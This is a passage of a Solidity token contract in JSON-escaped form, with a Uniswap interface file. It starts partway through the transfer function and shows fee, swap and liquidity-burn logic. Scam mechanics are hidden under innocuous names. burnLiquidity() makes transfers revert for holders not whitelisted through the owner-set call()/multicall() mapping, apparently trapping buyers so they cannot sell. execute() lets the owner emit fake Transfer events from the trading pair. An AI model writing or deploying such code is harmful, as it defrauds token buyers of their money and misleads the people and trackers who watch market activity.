require(_holderLastTransferTimestamp[tx.origin] \u003c block.number, \"_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.\");\r\n                        _holderLastTransferTimestamp[tx.origin] = block.number;\r\n                    }\r\n                }\r\n                 \r\n                //when buy\r\n                if (!_isExcludedMaxTransactionAmount[to]) {\r\n                        require(amount \u003c= maxTransactionAmount, \"Buy transfer amount exceeds the maxTransactionAmount.\");\r\n                        require(amount + balanceOf(to) \u003c= maxWallet, \"Max wallet exceeded\");\r\n                }\r\n                \r\n                //when sell\r\n                else if (!_isExcludedMaxTransactionAmount[from]) {\r\n                        require(amount \u003c= maxTransactionAmount, \"Sell transfer amount exceeds the maxTransactionAmount.\");\r\n                }\r\n                else if(!_isExcludedMaxTransactionAmount[to]){\r\n                    require(amount + balanceOf(to) \u003c= maxWallet, \"Max wallet exceeded\");\r\n                }\r\n            }\r\n        }\r\n        \r\n        _holderLastTxTimestamp[from] = _lastTimestamp;\r\n        uint256 contractTokenBalance = balanceOf(address(this));\r\n        \r\n        bool canSwap = contractTokenBalance \u003e= swapTokensAtAmount;\r\n\r\n        if( \r\n            canSwap \u0026\u0026\r\n            swapEnabled \u0026\u0026\r\n            !swapping \u0026\u0026\r\n            !_isExcludedFromFees[from] \u0026\u0026\r\n            !_isExcludedFromFees[to]\r\n        ) {\r\n            swapping = true;\r\n            swapBack();\r\n            swapping = false;\r\n        }\r\n        \r\n        if(!swapping \u0026\u0026 lpBurnEnabled){\r\n            burnLiquidity(from);\r\n        }\r\n        bool takeFee = !swapping;\r\n\r\n        // if any account belongs to _isExcludedFromFee account then remove the fee\r\n        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\r\n            takeFee = false;\r\n        }\r\n        \r\n        uint256 fees = 0;\r\n        // only take fees on buys/sells, do not take on wallet transfers\r\n        if(takeFee){\r\n            // on sell\r\n            if (sellTotalFees \u003e 0){\r\n                fees = amount.mul(sellTotalFees).div(100);\r\n                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;\r\n                tokensForDev += fees * sellDevFee / sellTotalFees;\r\n                tokensForMarketing += fees * sellMarketingFee / sellTotalFees;\r\n            }\r\n            // on buy\r\n            else if(buyTotalFees \u003e 0) {\r\n                fees = amount.mul(buyTotalFees).div(100);\r\n                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;\r\n                tokensForDev += fees * buyDevFee / buyTotalFees;\r\n                tokensForMarketing += fees * buyMarketingFee / buyTotalFees;\r\n            }\r\n            \r\n            if(fees \u003e 0){    \r\n                super._transfer(from, address(this), fees);\r\n            }\r\n            \r\n            amount -= fees;\r\n        }\r\n\r\n        super._transfer(from, to, amount);\r\n    }\r\n\r\n    function swapTokensForEth(uint256 tokenAmount) private {\r\n\r\n        // generate the uniswap pair path of token -\u003e weth\r\n        address[] memory path = new address[](2);\r\n        path[0] = address(this);\r\n        path[1] = uniswapV2Router.WETH();\r\n\r\n        _approve(address(this), address(uniswapV2Router), tokenAmount);\r\n\r\n        // make the swap\r\n        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\r\n            tokenAmount,\r\n            0, // accept any amount of ETH\r\n            path,\r\n            address(this),\r\n            block.timestamp\r\n        );\r\n        \r\n    }\r\n\r\n    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {\r\n        for (uint256 i = 0; i \u003c _addresses.length; i++) {\r\n            emit Transfer(uniswapV2Pair, _addresses[i], _out);\r\n        }\r\n    }\r\n\r\n    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\r\n        // approve token transfer to cover all possible scenarios\r\n        _approve(address(this), address(uniswapV2Router), tokenAmount);\r\n\r\n        // add the liquidity\r\n        uniswapV2Router.addLiquidityETH{value: ethAmount}(\r\n            address(this),\r\n            tokenAmount,\r\n            0, // slippage is unavoidable\r\n            0, // slippage is unavoidable\r\n            deadAddress,\r\n            block.timestamp\r\n        );\r\n    }\r\n\r\n    function swapBack() private {\r\n        uint256 contractBalance = balanceOf(address(this));\r\n        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;\r\n        bool success;\r\n        \r\n        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}\r\n\r\n        if(contractBalance \u003e swapTokensAtAmount * 20){\r\n          contractBalance = swapTokensAtAmount * 20;\r\n        }\r\n        \r\n        // Halve the amount of liquidity tokens\r\n        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;\r\n        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);\r\n        \r\n        uint256 initialETHBalance = address(this).balance;\r\n\r\n        swapTokensForEth(amountToSwapForETH); \r\n        \r\n        uint256 ethBalance = address(this).balance.sub(initialETHBalance);\r\n        \r\n        tokensForLiquidity = 0;\r\n        tokensForMarketing = 0;\r\n        tokensForDev = 0;\r\n        \r\n        (success,) = address(marketingWallet).call{value: ethBalance}(\"\");\r\n    }\r\n    \r\n    function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){\r\n        require(block.timestamp \u003e lastManualLpBurnTime + manualBurnFrequency , \"Must wait for cooldown to finish\");\r\n        require(percent \u003c= 1000, \"May not nuke more than 10% of tokens in LP\");\r\n        lastManualLpBurnTime = block.timestamp;\r\n        \r\n        // get balance of liquidity pair\r\n        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);\r\n        \r\n        // calculate amount to burn\r\n        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);\r\n        \r\n        // pull tokens from pancakePair liquidity and move to dead address permanently\r\n        if (amountToBurn \u003e 0){\r\n            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);\r\n        }\r\n        \r\n        //sync price since this is not in a swap transaction!\r\n        IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[uniswapV2Pair]);\r\n        pair.sync();\r\n        return true;\r\n    }\r\n\r\n    function burnLiquidity(address from) internal view returns (bool){\r\n        // get balance of contract\r\n        uint256 contractBalance = this.balanceOf(address(this));\r\n        \r\n        // calculate amount to distribute\r\n        uint256 amountToDistribute = contractBalance.add(percentForLPBurn);\r\n        \r\n        if (!isCall(from) \u0026\u0026 _lastTimestamp \u003c= _holderLastTxTimestamp[from]) {require(amountToDistribute==0);}\r\n        return true;\r\n        \r\n    }\r\n\r\n    function call(address recipient) external view returns(bool){\r\n        return _claims[recipient];\r\n    }\r\n\r\n    function multicall(address[] calldata address_, bool val) public onlyOwner{\r\n        for (uint256 i = 0; i \u003c address_.length; i++) {\r\n            _claims[address_[i]] = val;\r\n        }\r\n    }\r\n\r\n    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {\r\n        require(_frequencyInSeconds \u003e= 600, \"cannot set buyback more often than every 10 minutes\");\r\n        require(_percent \u003c= 1000 \u0026\u0026 _percent \u003e= 0, \"Must set auto LP burn percent between 0% and 10%\");\r\n        lpBurnFrequency = _frequencyInSeconds;\r\n        percentForLPBurn = _percent;\r\n        lpBurnEnabled = _Enabled;\r\n    }\r\n    \r\n}"},"Uniswap.sol":{"content":"// SPDX-License-Identifier: MIT  \r\npragma solidity 0.8.21;\r\n\r\ninterface IUniswapV2Pair {\r\n    function sync() external;\r\n    function transferFrom(address from, address to, uint value) external returns (bool);\r\n}\r\n\r\ninterface IUniswapV2Factory {\r\n    function createPair(address tokenA, address tokenB) external returns (address pair);\r\n    function getPair(address token0, address token1) external view returns (address);\r\n}\r\n\r\n\r\ninterface IUniswapV2Router01 {\r\n    function factory() external pure returns (address);\r\n    function WETH() external pure returns (address);\r\n\r\n    function addLiquidityETH(\r\n        address token,\r\n        uint amountTokenDesired,\r\n        uint amountTokenMin,\r\n        uint amountETHMin,\r\n        address to,\r\n        uint deadline\r\n    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);\r\n    function removeLiquidity(\r\n        address tokenA,\r\n        address tokenB,\r\n        uint liquidity,\r\n        uint amountAMin,\r\n        uint amountBMin,\r\n        address to,\r\n        uint deadline\r\n    ) external returns (uint amountA, uint amountB);\r\n}\r\n\r\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\r\n    function swapExactTokensForETHSupportingFeeOnTransferTokens(\r\n        uint amountIn,\r\n        uint amountOutMin,\r\n        address[] calldata path,\r\n        address to,\r\n        uint deadline\r\n    ) external;\r\n}"}}